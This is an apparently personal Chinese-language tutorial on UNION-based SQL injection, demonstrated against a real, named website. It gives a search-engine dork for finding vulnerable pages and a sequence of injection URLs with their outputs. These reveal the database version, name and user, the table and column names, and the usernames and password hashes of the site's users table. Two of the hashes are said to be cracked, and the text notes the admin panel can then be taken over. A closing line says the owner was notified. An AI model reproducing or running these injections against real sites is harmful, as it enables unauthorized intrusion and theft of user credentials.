通过成功地SQL注入,可能可以拿到目标数据库的全部信息!
首先要找到目标网址,以进行漏洞测试。
在google中搜索:inurl:news.php?id=2
任意点入一个网址:在网址后追加SQL语句,如果报错,则OK,可注入,如果未报错,无可注入漏洞或未找到。
比如,找到一个网址:http://www.calidus.ro/en/news.php?id=2
将此链接变成如下,去访问
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1--
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2--
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3--
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3,4--
前三个会提示如下信息:
Query failed: The used SELECT statements have a different number of columns
由于union的两个查询的列的数量需要一样,所以可知正常的查询就是4个列。
第四个返回正常的文章外,还返回了
2
4
说明1,3虽然查询了,但是没有显示出来,那我们就利用2,4字段。
http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,database()--
5.1.70-log
caliduzb_calidussql
以上,查出了数据库的版本和当前数据库名。
下面,查出数据库用户名。
http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,user()--
5.1.70-log
caliduzb_calidus@localhost
由于此版本已经不支持password()函数,暂时无法查到密码。
下面的sql查出当前数据库中所有的表.
http://www.calidus.ro/en/news.php?id=2 union select1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()--
2
about,about_de,about_en,categories,categories_de,categories_en,
contact,contact_de,contact_en,customers,eco,eco_de,eco_en,
faq,faq_de,faq_en,forum_answer,forum_question,galleries,
gallery,gallery_de,gallery_en,gallery_images,imp,mission,mission_de,
mission_en,news,news_de,news_en,pellets,pellets_de,pellets_en,prices,
products,products_de,products_en,projects,projects_de,projects_en,
special_offers,special_offers_de,special_offers_en,support,support_de,
support_en,users,vizion,vizion_de,vizion_en
看到一个users表,先看看字段:
http://www.calidus.ro/en/news.php?id=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users'--
user_id,user_type,user_regdate,username,user_password,user_email,user_lastvisit,user_last_confirm_key,user_new_privmsg,logcode,username_clean
有用户名、密码字段。
下面就查一下用户名、密码。
http://www.calidus.ro/en/news.php?id=2 union select 1,username,3,user_password from users--
dexmod
a0dbde9503e13437db0f854b0b72a73b
admin
63a9f0ea7bb98050796b649e85481845
miladro
122f961db675f6a45b998594471a990b
用户名是明文,密码hash过。上解密网站一查,分别是marjan,root,没解出来。
到这里,去找网站的管理界面就可以管理网站了。(已经给网站联系邮箱发邮件告知sql注入漏洞)